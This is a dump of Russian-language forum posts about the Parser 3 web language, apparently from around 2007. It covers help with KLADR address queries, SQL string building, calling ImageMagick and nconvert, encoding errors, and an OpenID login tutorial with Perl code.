1. в момент, когда вы определяете строковою переменную $link, в  $kladr.cc содержится значение поля cc в первой строке таблицы $kladr. однако что в переменной $сс нам осталось неизвестно. может имелось в виду $kladr.cc? если угадал, то в if надо так и писать.\
\
2. если вы хотите создать _код_, чтобы выполнять его потом, пишите так: $link{тут код}\
\
3. считаю что использовать тут junction-variable - незачем:\
[code]\
^kladr.menu{ \
	<tr> \
		<td>$kladr.id</td>\
		<td><a href=\"$link^if($cc == 0){&cc=$kladr.cc&rrr=-1}\">$kladr.name $kladr.socr</a></td>\
		<td>${kladr.cc}-${kladr.rrr}-${kladr.ggg}-${kladr.ppp}-${kladr.aa}</td> \
   	</tr> \
}\
[/code]"
"59021","Вызываю так:\
[code]^show_kladr[^if(def $form:cc){$form:cc}{00};^if(def $form:rrr){$form:rrr}{000};^if(def $form:ggg){$form:ggg}{000};^if(def $form:ppp){$form:ppp}{000};^if(def $form:aa){$form:aa}{-1}][/code]\
\
Метод:\
[code]@show_kladr[cc;rrr;ggg;ppp;aa]\
$link[site.ru/edit2.html?action=show_kladr]\
$where_string[^if($cc != 00){cc='$cc' AND }]\
$link[^if($cc != 00){$link}{${link}&cc=^$kladr.cc&rrr=-1}]				  \
$where_string[^if($rrr != -1){${where_string}rrr='$rrr' AND }{${where_string}rrr<>'000' AND }]\
$where_string[^if($ggg != -1){${where_string}ggg='$ggg' AND }{$where_string}]\
$where_string[^if($ppp != -1){${where_string}ppp='$ppp' AND }{${where_string}ppp<>'000' AND }]\
$where_string[^if($aa != -1){${where_string}aa='$aa'}{${where_string}aa > -1}]\
$kladr[^table::sql{SELECT id, name, socr, cc, rrr, ggg, ppp, aa FROM kladr WHERE $where_string ORDER BY name}]\
<table border=1>\
 <tr> \
  <td>id</td>\
  <td>name</td> \
  <td>cc-rrr-ggg-ppp-aa</td>\
 </tr>			   \
^kladr.menu{ \
 <tr> \
  <td>$kladr.id</td>\
  <td><a href=\"$link\">$kladr.name $kladr.socr</a></td>\
  <td>${kladr.cc}-${kladr.rrr}-${kladr.ggg}-${kladr.ppp}-${kladr.aa}</td> \
 </tr> \
}			   \
</table>[/code]\
\
0. Имена полей из документации КЛАДР:\
Структура кодового обозначения в блоке \"Код\":\
СС РРР ГГГ ППП АА, где\
СС – код субъекта Российской Федерации (региона), коды регионов представлены в Приложении 2 к Описанию классификатора адресов Российской Федерации (КЛАДР);\
РРР – код района;\
ГГГ – код города;      \
ППП – код населенного пункта,\
АА – признак актуальности наименования адресного объекта.\
\
1. в момент, когда я определяю строковою переменную $link, в $kladr.cc не содержится ничего, т.к. таблица $kladr задается позже\
\
2. Попробовал $link{^if($cc != 00){$link}{${link}&cc=${kladr.cc}&rrr=-1}} получил link\
call canceled - endless recursion detected\
\
3. Если делать по-вашему, то значение $link^if($cc == 0){&cc=$kladr.cc&rrr=-1} будет вычисляться многократно (в пределе 180000 раз)\
По-моему это плохо. Я пытаюсь построить ссылку до перебора таблицы.\
\
Идея в следующем:\
Запрос1: edit2.html?action=show_kladr\
Выдает: список регионов\
\
Запрос2: edit2.html?action=show_kladr&cc=50&rrr=-1\
Выдает: список районов Моск. обл ($kladr.cc=50 $kladr.rrr=любой, кроме 000 - сама строка Моск. обл.)\
\
Запрос3: edit2.html?action=show_kladr&cc=50&rrr=019&ggg=-1\
Выдает: список городов и нас. пунктов Мытищинского р-на Моск. обл. ($kladr.cc=50, $kladr.rrr=019, $kladr.ggg=любой)\
\
Запрос4: edit2.html?action=show_kladr&cc=50&rrr=019&ggg=001&ppp=-1\
Выдает: список нас. пунктов г. Мытищи, Мытищинского р-на Моск. обл. ($kladr.cc=50, $kladr.rrr=019, $kladr.ggg=001, $kladr.ppp=любой)\
\
Хочу, чтоб к качестве $link была строка, ведущая на следующий запрос"
"59022","[quot]\
0. Имена полей из документации КЛАДР:\
[/quot]\
самое время сказать им 'бееее'\
\
[quot]\
1. в момент, когда я определяю строковою переменную $link, в $kladr.cc не содержится ничего, т.к. таблица $kladr задается позже\
[/quot]\
\
тогда что вы хотите чтобы тут было? сюда помещяется значение $kladr.cc, т.к. $kladr - void, то $kladr.cc - тоже void, т.е. при выводе - пустая строка.\
\
[quot]\
2. Попробовал $link{^if($cc != 00){$link}{${link}&cc=${kladr.cc}&rrr=-1}} получил link\
[/quot]\
\
очевидно. я имел в виду не заменить скобочки, а написать там рабочий код. понятное дело что $link{$link} - есть вечный цикл.\
можно например такое:\
[code]\
$sLink[site.ru/edit2.html?action=show_kladr]\
$jLink{$sLink^if($kladr.cc == 00){&cc=$kladr.cc&rrr=-1}}\
[/code]\
\
но еще раз повторяю: это - лишнее. если ссылки у каждой строки разные (а похоже они должны быть разные, т.к. выводить на страницу N одинаковых ссылок - незачем), напишите конструкцию, формирующую ссылку внутри menu, как я показал в предыдущем сообщении.\
\
[quot]\
3. Если делать по-вашему, то значение $link^if($cc == 0){&cc=$kladr.cc&rrr=-1} будет вычисляться многократно (в пределе 180000 раз)\
[/quot]\
но я так и не понял что вы хотите получить внутри <a href=\"\"> на месте '$kladr.cc'? для каждой строки - разные значения? если да, то вычислять придется по любому. а вот 180000 раз - забудьте. у парсера есть ограничения, столько вы не сможете им вывести :)\
\
еще по коду:\
[code]\
$where_string[^if($cc != 00){cc='$cc' AND }]\
$link[^if($cc != 00){$link}{${link}&cc=^$kladr.cc&rrr=-1}]				  \
$where_string[^if($rrr != -1){${where_string}rrr='$rrr' AND }{${where_string}rrr<>'000' AND }]\
$where_string[^if($ggg != -1){${where_string}ggg='$ggg' AND }{$where_string}]\
$where_string[^if($ppp != -1){${where_string}ppp='$ppp' AND }{${where_string}ppp<>'000' AND }]\
$where_string[^if($aa != -1){${where_string}aa='$aa'}{${where_string}aa > -1}]\
[/code]\
это ужасно. с моей точки зрения следующий код в разы читабельней (+ символов меньше)\
\
[code]\
$where_string[\
	^if($rrr != -1){\
		rrr='$rrr'\
	}{\
		rrr<>'000'\
	}\
	AND\
	^if($ppp != -1){\
		ppp='$ppp'\
	}{\
		ppp<>'000'\
	}\
	AND\
	^if($aa != -1){\
		aa='$aa'\
	}{\
		aa > -1\
	}\
	^if($cc != 00){\
		AND cc='$cc'\
	}\
	^if($ggg != -1){\
		AND ggg='$ggg'\
	}\
]\
[/code]"
"59023","Хочу, чтоб в $link лежало [site.ru/edit2.html?action=show_kladr&cc=$kladr.cc&rrr=-1] именно $kladr.cc а не ее значение, чтобы потом\
\
$kladr[^table::sql{SELECT ...}]\
^kladr.menu{ \
...\
<td><a href=\"$link\">$kladr.name $kladr.socr</a></td> # только здесь вместо $kladr.cc внутри $link подставится значение из таблицы\
...\
}\
\
Хочу формировать ссылку один раз, а получить внутри <a href=\"\"> на месте '$kladr.cc' 50 (если задано) и значения из таблицы (если не задано).\
В первом случае будет типа <a href=\"?cc=50&rrr=разные\">, во втором <a href=\"?cc=разные\">\
Хочу формировать списки одним методом. Соответственно в зависимости от глубины, у ссылки будет разное количество параметров.\
\
$where_string перепишется - это черновик, пока искал алгоритм."
"59024","Вставляю\
[code]^throw[;=$oSql.sClassName=$oSql.sServerName=$oSql.server_name=][/code]\
пишет\
	[i]Ошибку вызвал этот фрагмент:\
	====[/i]\
\
А без ^throw (весь текст ошибки)\
\
	[i]В работе Parser произошла ошибка:\
	undefined method\
	Ошибку вызвал этот фрагмент:\
	table \
	Ошибка произошла при работе с файлом:\
	/classes/forum.p, строка номер 36\
	Что обычно приводит к ошибке «parser.runtime»?\
\
	вы вызываете несуществующий метод (опечатка в имени или 		файл, в котором он лежит, недоступен?), методу передано 		неправильное количество параметров (нигде, часом, не забыли 	поставить \"птичку\" перед знаком ; где он не несёт 			специального значения?) или не тех типов, и т.п. Возможно, 		где-то опечатка в названии стандартной функции или в её 		использовании. Внимательно перепроверьте ваш код.\
\
	Последовательность операций, которая привела к ошибке:\
	(от самой последней вверху списка до самой первой внизу) \
\
	getParents в файле /classes/forum.p, строка 157 \
	printParents в файле /forum/index.html, строка 46 \
	if в файле /forum/index.html, строка 45 \
	jBody в файле /classes/sql/sql.p, строка 56 \
	setServerEnviroment в файле /classes/sql/sql.p, строка 56 \
	connect в файле /classes/sql/sql.p, строка 53 \
	try в файле /classes/sql/sql.p, строка 52 \
	server в файле /forum/index.html, строка 1[/i]\
\
---\
\
Apache_Swissknife_035_small (Интерпретатор Parser 3.2.2b)\
$Id: MySql.p,v 1.3 2007/02/12 11:27:40 misha Exp $\
$Id: Sql.p,v 1.3 2007/02/12 13:27:04 misha Exp $"
"59027","[quot]\
подставится значение\
[/quot]\
это и есть \"выполнится\" == junction и мои последующие выводы про её ненужность тут. как сделать я привел два варианта.\
\
\
про $where_string: \"нет ничего более постоянного, чем что-либо временное\"."
"59029","... попробовал написать запрос с ^oSql.table в файле index.html, в котором есть коннект ^oSql.server, все работает. А вот в отдельном методе в файле forum.p выдает ошибку.\
\
Что это может быть?"
"59030","скорее всего у вас в forum.p написано @CLASS...\
и поэтому объект oSql ищется в нём, а не в MAIN, где вы создали объект oSql. если внутри forum.p будете писать ^MAIN:oSql.table - то всё будет работать.\
\
но мне подобный подход очень не нравится, т.к. порождает зависимость класса с внешним миром через неправильное место. \
эти зависимости лучше минимизировать:\
[code]\
@CLASS\
MyClass\
\
@constructor[...]\
$oSql[$MAIN:oSql]\
...\
\
@method[...]\
...\
$tVar[^oSql.table{...}]\
...\
[/code]\
\
или вовсе устранить (я делаю так):\
[code]\
@CLASS\
MyClass\
\
@constructor[hParam]\
$oSql[$hParam.oSql]\
^if(!def $oSql){\
	^throw[myclass;^$.oSql must be defined.]\
}\
...\
\
@method[...]\
...\
$tVar[^oSql.table{...}]\
...\
[/code]\
\
и при создании объекта этого класса (например в index.html) передаю ему уже существующий sql-объект:\
[code]\
...\
$oMyClass[^MyClass::constructor[$.oSql[$oSql]]]\
...\
[/code]"
"59031","Вобщем база в UTF-8, сравнение тоже, файлы все тоже, request и response:charset опять же UTF-8. Однако вот такая хрень вылазает. Не пойму...\
\
[code]Entity: line 43: error: Input is not proper UTF-8, indicate encoding !\
\
title=\"\
      ^[/code]"
"59032","Вообщем ситуация такая:\
Имеется tab-delimited таблица. (nameless) В которой в первом столбце значения начинаються с # я так понимаю что Парсер расценивает это как комментарий и не выводит всю строку. Можно ли как-то это обойти?\
\
Пример таблицы:\
#ежики <tab> 18 <tab> 2 <enter>\
#жирафы <tab> 17 <tab> 4 <enter>\
123 <tab> 123 <tab> 23 <enter>\
\
И если сделать такой таблице menu. ТО будет выведена только последняя строчка."
"59036","вторая строчка в auto.p"
"59037","когда вы дойдете до того, чтобы создать подраздел /news/ вы увидите проблему.\
вам надо написать [/examples/lesson2/sections.cfg] - полный путь к файлу от document_root\
\
судя по всему вы не очень поняли назначение этого файла: этот файл должен находится в корне сайта и быть доступен всегда, в каком-бы из подразделов сайта вы не находились. урок 2 сделан в расчете, что вы выполняете его в корне вашего тестового сайта, а не в отдельном каталоге."
"59038","Для проверки я полностью скопировал первый код урока 2 но как заявлено в справке ничего не изменилось. Столбик не окрасился, ссылка не убралась"
"59039","значит опять что-то неправильно.\
Если код именно такой, как представлен в первом посте, то:\
если есть директория \"news\" и в ней есть файл index.html, содержащий ^navigation[], то ссылка по любому должна пропасть, а столбик окраситься. Возможные ошибки:\
\
Адрес http://localhost/news/index.html - доблежн быть http://localhost/news/\
\
Регистр адреса http://localhost/[b]NEWS[/b]/ - должен быть с маленькой буквы\
\
содержание самого файла sections.cfg - перед всеми uri попробуйте убрать \".\" - точки.\
\
\
если ничего не помогает - это катастрофа :)\
\
попробуйте @navigation_cell[]\
\
[code]\
^if($sections.uri eq $request:uri){ \
	<td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\"> \
	<nobr>$sections.name</nobr> \
	</td> \
}{ \
	<td width=\"$cell_width\" align=\"center\"> \
	<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
	</td> \
}[/code]\
\
заменить на\
\
[code]^if(in '$sections.uri'){ \
	<td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\"> \
	<nobr>$sections.name</nobr> \
	</td> \
}{ \
	<td width=\"$cell_width\" align=\"center\"> \
	<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
	</td> \
}[/code]\
\
прочитать про [url=\"http://www.parser.ru/docs/lang/opin.htm\"]in[/url] и понять, чем они отлиются :)"
"59040","Добрый вечер. Хотелось бы узнать, в какую сумму обойдется скрипт блогов, вроде livejournal, все предложения высылайте на e-mail. Желательно указать примерные сроки изготовления. Спасибо."
"59041","Михаил в ваших новых пользовательских классах, а именно Lib.p есть опечатка в методе @isEmail[]... пропущено условие ^if..."
"59043","кстати, по этому поводу админам - может быть гостей не только цветом, но и курсивом выделять? или еще как-нибудь?..\
\
например один мой знакомый - нихрена не может отличить черный от такого серого (gray)"
"59044","для сравнения...\
когда имена рядом стоят - разница более/менее видна.\
\
И, кстати, в \"своих тредах\" у меня сообщения от всех \"Александров\" :)"
"59045","При заходе на http://parser2.parser.ru/docs/ получаю сообщение:\
[code]\
Macro SERVER_ERROR is defined three times. Do not determined which one to use.\
[/code]"
"59046","Честно говоря мне не очень понятен ваш подход:)\
Но смысл я понял, получается я вызываю метод в классе oSql, но така как запрос находится в классе forum, естественно найти у него не получается, а когда выношу в main в index.html, все работает.\
А сильно будет плохо, если я буду делать ^MAIN:oSql.table?\
Смотрел код движка .COM, там есть классны, где все делается именно так - ^MAIN:pSql.table"
"59047","я вам предложил два метода, которые считаю лучше чем написание всюду ^MAIN:oSql.table{}\
\
как делать - решать вам."
"59052","Простенький тестовый код:\
[code]\
@main[]\
$i(0)\
$console:line[content-type:text/html^; charset=WINDOWS-1251]\
$console:line[]\
^while($i<50){\
	^i.inc(1)\
	$console:line[^for[j](1;100){text ^j.inc(1)} $i]\
	^sleep(3)\
}\
$console:line[<!--]-->\
[/code]\
\
Наблюдаю, что под виндой (денвер) результат в браузер отдается блоками примерно по 4k\
\
Тогда как у хостера (FreeBSD, ap. 1.3.34) отдается как задумано блоками по 100 слов text\
\
Это с чем может быть связано?"
"59053","я пробовал на win32 apache2 + parser (без денвер) и получал результат telnet-ом: подобной буферизации не видел."
"59054","FF 1.5.0.9\
различается только размещение скрипта (win/bsd)\
\
что попробовать?"
"59055","объясните, пожалуйста, почему в старых операторах if есть, а в новых не нужно... то есть меняется логика работы? как тогда вызывать этот метод из auth.p?"
"59056","[code]\
^if(^Lib:isEmail[$form:email]){\
	хороший email\
}{\
	плохой email\
}\
[/code]"
"59057","путаница с кодировками — обычное же дело.\
конкретный хостер тут обычно не при чём…"
"59059","была анологичная проблема, решили ее таким образом:\
вместо, например, ^file::exec[/usr/local/bin/convert...\
написали ^file::exec[/../../../../usr/local/bin/convert...\
\
Вроде все просто, но не всегда догадаешься :)"
"59064","Сразу хочу сказать, что фак прочитал, поиск по форуму пользовал... Ничего для решения моей проблемы не нашел...\
Проблема в том, что не могу установить парсер. Следовал инструкции буквально по буквам, ниче не получается, при попытке запуска тестового файла выдает\
[quote]# Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается. #[/quote]\
\
[url=\"http://www.parser.ru/forum/?id=51535\"]Здесь[/url]эта тема поднималась, но метода решения нет, ответ был, что все решилось, а, каким образом, ни слова...\
Пробовал установку и CGI и ISAPI, результат один - не работает...\
Мож все таки есть отличия в установке на сереверах IIS5 и IIS6?\
мож еще проблема в том, что у меня установлена WinXP x64?\
Спецы, подскажите..."
"59065","В Вашем классе-обвязке для imagemagic вывод скрипта identify заносится в хэш, при этом параметры картинки разделяются пробелом. Или я чего-то не догоняю, или imagemagic не разрешает при запросе скрипта identify запрашивать параметры через пробел, т.е.\
так: identify -format %f%m\
можно,\
а так: identify -format %f %m\
нельзя\
\
Причем раньше разделение параметров пробелом, насколько я понял, допускалось... Чем посоветуете пробелы заменить?"
"59066","Парсер такую конструкцию сделает с помощью:\
[code]\
  ^file::exec[identify;;-format;%f %m]\
[/code]"
"59070","мне нравится чуть больше.\
и с путями всё понятнее, и ещё один «уровень абстракции» ;)\
\
ещё о safe mode не стоит забывать.\
у многих запуск через ../.. не заработает, поскольку подобный запускаемый файл обычно не принадлежит пользователю/группе, от имени которых работает cgi скрипт."
"59071","Как можно реализовать сабж на парсере, ибо на php слышал это возможно.\
\
из общих идей происходить это должно следующим образом:\
1. от клиента уходит POST-запрос с файлом (и ID файла)\
2. пока не пришел ответ крутится JS-скрипт с другим запросом к серверу, например раз в секунду, и получает от сервера размер уже пришедших данных из первого запроса (ну и соответственно рисует барчик)\
3. на сервере соответственно есть парсерный скрипт, который этот размер каким то образом знает и отправляет клиенту.\
\
Как реализовать пункты 1. и 2. понятно, но вот с третьим чего то ничего в голову не приходит.\
\
есть какие нибудь идеи в какую сторону думать или это вообще невозможно?"
"59072","Для определения того, какие права имеет или не имеет пользователь, я создаю набор методов.\
[code]@pub_right[]\
^if(^eval($auth.user.rights&2)==2){\
  $result(1)\
}{\
  $result(0)\
}\
@ins_right[]\
^if($auth.is_logon){\
  $result(1)\
}{\
  $result(0)\
}\
@fields_upd[]\
1\
@fields_ins[]\
1\
[/code]\
\
Потом выполняю проверку прав:\
[code]^if(def $form:upd && ^pub_right[]){.....}[/code]\
\
Методы определения прав мне кажутся громоздкими... Как сделать их изящнее (или короче)?"
"59074","Да, он ее делает, но в логе Парсера пишется следующее:\
[Fri Feb 23 22:29:12 2007] [99807] ... cimagemagick.p(54:26): 'match' undefined method [parser.runtime]\
\
Насколько я понял, проблема именно в пробелах: если я в командной строке напрямую обращаюсь к скрипту identify, он возвращает все параметры, только если писать их без пробелов, то есть %f%m и т.д. В случае с пробелами - %f %m и т.д - выдается только имя файла, то есть %f, а насчет %m imagemagic сообщает:\
identify: unable to open file `%m': No such file or directory."
"59075","Упустил кавычки в командной строке :)\
Да, с кавычками в командной строке все работает, но при этом Парсеровский скрипт все равно выдает ошибку. :("
"59076","Я уже давно эти методы не использовал и не знаю насколько они совместимы с текущей версией ImageMagick. Я тогда просто привел пример вызова консольных утилит."
"59077","Я вставил строчку ^lScript.text.save[/1.txt]\
****\
^if(def $aInputImg){\
  $lScript[^file::exec[$identifyScript;;-format;%f %m %wx%h %k %q %b;${inputImagesDir}^file:basename[$aInputImg]]]\
  ^if($lScript.status > 0){\
    $result[$.isIdentify(0)]\
  }{\
#                               1name   2format 3wid  4heig   5colors 6depth  7size\
^lScript.text.save[/1.txt]\
     $lRet[^lScript.text.match[^(\\S+)\\s+(\\S+)\\s+(\\d+)x(\\d+)\\s+(\\d+)\\s+(\\S+)\\s+(\\S+)]]\
     ^if($lRet){\
       $result[\
         $.isIdentify(1)\
         $.name[^file:basename[$lRet.1]]\
         $.format[$lRet.2]\
         $.width($lRet.3)\
         $.height($lRet.4)\
         $.colors[$lRet.5]\
         $.depth[$lRet.6]\
         $.size[$lRet.7]\
       ]\
     }{\
       $result[$.isIdentify(0)]\
     }\
   }  \
****\
Файл создается, но в нем ничего нет."
"59079","Заодно прочитайте в документации про ^throw[] - ошибки будет отлавливать легче (без всяких лишних файлов)."
"59080","В файл тоже стал писать - видно что-то просто глюкнуло первый раз. Ошибка осталась, пропадает только если закомментировать строку $lImgInfo[^getImageInfo[${inputImagesDir}^file:basename[$aBottomImg]]] в методе @composeImages - тогда просто не происходит наложение картинок друг на друга..."
"59081","Где же грабли? :(\
\
Если разрешите, приведу более подробный код - поскольку он Ваш, без спроса не могу..."
"59082","... Разберитесь в логике работы методов, посмотрите, что попадает в переменные и т.д. и т.п. Ничего сложного здесь нет - обычная отладка."
"59083","Где-то читал, что UE может строить список методов, описанных в коде. Как это сделать?"
"59084","А как реализовано на PHP? Может быть поможет http://www.parser.ru/examples/js_http_request/"
"59086","т.к. при аплоаде файл сперва передается серверу. После окончания передачи сервер запускает вызываемую страницу, и файл доступен на этой странице как поле формы. Узнать, сколько там принял сервер средствами Парсера - сомневаюсь что он это умеет."
"59087","переводя известную шутку (интересно, кто автор?) на parser:\
[code]\
^if($flag){\
    $result(true)\
}{\
    ^if(!$flag){\
        $result(false)\
    }{\
        $result(!true && !false)\
    }\
}\
[/code]"
"59088","http://nazim.novoorsk.ru/master/upload/"
"59090","Постоянно растет лог парсера, с сообщениями об ошибках памяти. Однако сайт работает. По крайней мере, первая и все остальные страницы открываются. Как можно продиагностировать... что именн овызывает такую ошибку?\
\
\
\
[Sat Feb 24 15:51:29 2007] [28293] out of memory: failed to allocate clean 5418979 bytes. heap_used=271175680, heap_free=8269824, bytes_since_gc=294379716, total_bytes=294379716"
"59091","Помимо меня ещё некоторым людям на этом форуме нужно было средство для \
авторизации по ОпенАйДи. Держите.\
\
Я почитал спецификацию и понял, что не хочу тратить время на реализацию BigInt вычислений на Парсере, \
поэтому взял готовую библиотеку на Perl и написал для неё обёртку.\
\
Итак, вам понадобится:\
\
[b]1.[/b] Написать в службу поддержки своего хостинга, чтобы они поставили дополнительные модули Perl, \
если они ещё не установлены (цитирую своё письмо):[quote]Здравствуйте,\
\
К сожалению, на сервере отсутствуют некоторые модули Perl, которые мне нужны. \
Пожалуйста, установите их с CPAN.\
\
CGI-Session\
Class-ErrorHandler\
Compress-Raw-Zlib\
Compress-Zlib\
Crypt-DH\
Digest-HMAC\
Digest-SHA1\
IO-Compress-Base\
IO-Compress-Zlib\
LWPx-ParanoidAgent\
MIME-Base64\
Storable\
URI-Fetch\
XML-XPath\
XML-Parser\
\
Последний мне особо важен - в состав модуля входит бинарный Expat.so, \
которого в собранном виде на CPAN нет.\
\
Мои сайты на вашем хостинге - ******, аккаунт ******.\
\
Заранее спасибо.[/quote]\
\
[b]2.[/b] У себя на сайте в папке [b]cgi-bin[/b] создайте папку [b]openid[/b] (права на папку - [i]755[/i]). \
В ней создайте папку [b]lib[/b] (маленькими буквами).\
\
[b]3.[/b] Скачайте [url=\"http://www.openidenabled.com/resources/downloads/perl-openid/Net-OpenID-JanRain-1.1.1.tar.gz\"]эту официальную библиотеку с openidenabled.com[/url].\
\
Возьмите содержимое папки [b]/lib/[/b] из архива (для распаковки используйте WinRAR) \
и закачайте его в [b]/cgi-bin/openid/lib/[/b] ([color=\"#ff0000\"]в ASCII-режиме[/color]!)\
\
[b]4.[/b] Создайте [color=\"#ff0000\"]вне веб-пространства[/color] две папки: [b]temp/tmp_session[/b] и [b]temp/tmp_store[/b].\
Так, если страницы вашего сайта располагаются в папке [b]/home/example/domains/example.com/public_html/[/b], \
пусть ваши папки будут располагаться в [b]/home/example/domains/example.com/temp/tmp_store[/b] и\
[b]/home/example/domains/example.com/temp/tmp_session[/b].\
\
Поставьте на каждую из этих папок разрешения \"[i]777[/i]\".\
\
[b]5.[/b] Положите в корневой каталог сайта файл [b]from_lj.html[/b] следующего содержания:\
\
[code]# Общий для скрипта на Perl и этой страницы ключ\
# (замените своим!!!):\
$SECRET[Mama myla ramu, papa chistil pulemet]\
^if(\
  $form:token \
  eq \
  ^math:md5[$SECRET|$form:identity_url|$env:HTTP_USER_AGENT|$env:REMOTE_ADDR|$env:HTTP_VIA|$form:timestamp]\
){\
  $from_openid[^date::unix-timestamp($form:timestamp)]\
  $now[^date::now[]]\
  ^if(\
    ^eval(($now - $from_openid) *24*60*60 ) < 600\
  ){\
    <p>Спасибо, вы подтвердили, что владеете адресом <code>$form:identity_url</code></p>\
  }{\
    <p>Пожалуйста, попробуйте пройти процесс авторизации снова.</p>\
  }\
}{\
  <p>Кыш, хакер!</p>\
}[/code]\
\
[b]6.[/b] Положите в [b]/cgi-bin/openid/[/b] файл [b]consumer.cgi[/b] следующего содержания:\
\
[code]#! /usr/bin/perl -I ./lib\
\
use CGI;\
use CGI::Session;\
use File::Spec;\
use Net::OpenID::JanRain::Consumer;\
use Net::OpenID::JanRain::Stores::FileStore;\
use DBI;\
use Digest::MD5 qw(md5_hex);\
use URI::Escape;\
\
# Замените значение константы $SECRET своим!!\
my $SECRET = 'Mama myla ramu, papa chistil pulemet';\
\
# Укажите пути к созданным двум папкам.\
# Путь нужно указывать от корня диска!\
my $STORE_DIR = '/home/?????/temp/tmp_store';\
my $SESSION_DIR = '/home/?????/temp/tmp_session';\
\
my $cgi = new CGI;\
my $session = new CGI::Session(undef, $cgi, {Directory => $SESSION_DIR});\
$cookie = $cgi->cookie(CGISESSID => $session->id );\
my $store = Net::OpenID::JanRain::Stores::FileStore->new($STORE_DIR);\
my $consumer = Net::OpenID::JanRain::Consumer->new($session, $store);\
\
\
my $user_url = $cgi->param('openid_url');\
if($user_url) { # Begin OpenID transaction\
    my $request = $consumer->begin($user_url);\
    if($request->status eq 'failure') { # this is an unrecoverable discovery failure\
        display_failure($request);\
    }\
    else { # Redirect to OpenID server\
        my $trust_root = $cgi->url(-base => 1);\
        my $return_to = $cgi->url;\
        my $redirect_url = $request->redirectURL($trust_root, $return_to);\
        print $cgi->header(-cookie=>$cookie,-location=>$redirect_url);\
    }\
}\
elsif ($cgi->param('openid.mode')) { # We're back from the server\
    my %query = $cgi->Vars;\
    my $response = $consumer->complete(\\%query);\
    if ($response->status eq 'success') {\
        display_success($response);\
    }\
    elsif ($response->status eq 'failure') {\
        display_failure($response);\
    }\
    elsif ($response->status eq 'cancel') {\
        display_cancel($response);\
    }\
    else {\
        display_headers();\
        print $cgi->h1('Авторизация через OpenID');\
        warn \"Что-то не получилось: сервер вернул непонятный ответ, <code>\".$response->status.\"</code>, я не знаю, что с ним делать!\\n\";\
        print $cgi->end_html;\
    }\
}\
else {\
    display_headers();\
    print $cgi->h1('Авторизация через OpenID');\
    display_openid_form();\
}\
\
exit(0);\
\
sub display_headers {\
    print $cgi->header( -cookie=>$cookie, -charset=>'windows-1251', -expires=>'+10m');\
    print $cgi->start_html( -title=>'Авторизация через OpenID', \
#         -style=>{'src'=>'/styles/style1.css'}, \
          -lang=>'ru', \
          -charset=>'windows-1251' );\
} \
\
sub display_failure {\
    my $response = shift;\
\
    display_headers();\
    print $cgi->h1('Авторизоваться через OpenID не получилось'),\
          $cgi->p($response->{message});\
\
    print $cgi->p($response->{identity_url}) if $response->{identity_url};\
    display_openid_form();\
    print $cgi->end_html;\
}\
\
sub display_cancel {\
    my $response = shift;\
\
    display_headers();\
    print $cgi->h1('Авторизация через OpenID отменена'),\
\
    print $cgi->p($response->{identity_url}) if $response->{identity_url};\
    display_openid_form();\
    print $cgi->end_html;\
}\
\
sub display_openid_form {\
    print $cgi->start_form,\
          \"Введите свой адрес OpenID (например, <i>your_name_here.livejournal.com</i>):\\n\",\
          $cgi->textfield('openid_url'),\
          $cgi->submit('Поехали!'),\
          $cgi->end_form;\
}\
\
sub display_success {\
    my $response = shift;\
    my $timestamp = time();\
    my $hash = md5_hex($SECRET . \"|\" . $response->{identity_url}.\"|\".$ENV{HTTP_USER_AGENT}.\"|\".$ENV{REMOTE_ADDR}.\"|\".$ENV{HTTP_VIA}.\"|\".$timestamp);\
    print $cgi->redirect('http://вашсайт/from_lj.html?timestamp=' . $timestamp . '&identity_url=' . uri_escape($response->{identity_url}) . '&token=' . uri_escape($hash) . '&dummy=1');\
}[/code]\
\
[color=\"#ff0000\"]Замените \"вашсайт\"[/color] в тексте скрипта на адрес своего сайта. \
\
[color=\"#ff0000\"]Укажите верные пути[/color] к двум созданным вами папкам для временных файлов. \
\
[color=\"#ff0000\"]Замените значение переменной $SECRET[/color] в тексте скрипта и в тексте парсерной страницы своим!!! \
\
Закачайте скрипт в [color=\"#ff0000\"]в ASCII-режиме[/color], [color=\"#ff0000\"]не забудьте поставить на скрипт права 755[/color]!\
\
[b]7.[/b] Откройте [b]/cgi-bin/openid/consumer.cgi[/b], введите адрес своего ЖЖ. Вас перебросит на livejournal.com, который спросит у вас, действительно ли вы хотите авторизоваться. Нажмите [i]\"yes, just this time\"[/i] и вы попадёте обратно к себе на сайт, на страницу [b]/from_lj.html[/b]."
"59092","[url=\"http://www.parser.ru/examples/erusage/\"]http://www.parser.ru/examples/erusage/[/url]"
"59093","Делаю\
\
[code]$f[^file::exec[../cgi-bin/nconvert.exe;;-ratio;-q;80;-rtype;lanczos;-resize;200;${env:DOCUMENT_ROOT}/test.jpg]]\
^f.save[binary;1.jpg]\
$photo[^image::measure[1.jpg]] \
^photo.html[ \
   $.border[0] \
   $.alt[Это я в молодости…] \
][/code]\
\
Получаю \
1.jpg\
not JPEG file - wrong signature\
\
В файле 1.jpg следующее: \
** NCONVERT v4.77 (c) 1991-2005 Pierre-E Gougelet (Feb  9 2007/13:00:00) **\
        Version for Windows NT/9x/2000  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
Файл test.jpg без изменений.\
\
Что не так?"
"59094","запустить эту самую команду просто в окошке DOS[code]c:\\путь к\\nconvert.exe -ratio -q 80 -rtype lanczos -resize 200 c:\\путь к\\/test.jpg[/code] - вы пробовали? Что получается?\
\
Кстати, перед test.jpg слэш в правильную сторону смотрит?"
"59095","Получил:\
C:\\>c:\\1\\nconvert.exe -ratio -q 80 -rtype lanczos -resize 200 c:\\1\\test.jpg\
** NCONVERT v4.77 (c) 1991-2005 Pierre-E Gougelet (Feb  9 2007/13:00:00) **\
        Version for Windows NT/9x/2000  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
Conversion of c:\\1\\test.jpg into c:\\1\\test.jpg OK\
\
\
Файл лежал не в ${env:DOCUMENT_ROOT}/test.jpg а в ${env:DOCUMENT_ROOT}/admin/test.jpg\
Положил на место и все заработало.\
\
^f.save[binary;1.jpg] не нужно, т.к. измененный файл пишется поверх старого."
"59096","а что есть xml контейнер? :)"
"59097","Здравствуйте! \
\
Я ищу программиста для работы в офисе – Санкт-Петербург, г. Павловск (30 минут от Витебского вокзала до самого офиса). \
\
Офис в коттедже возле парка. График работы гибкий.\
\
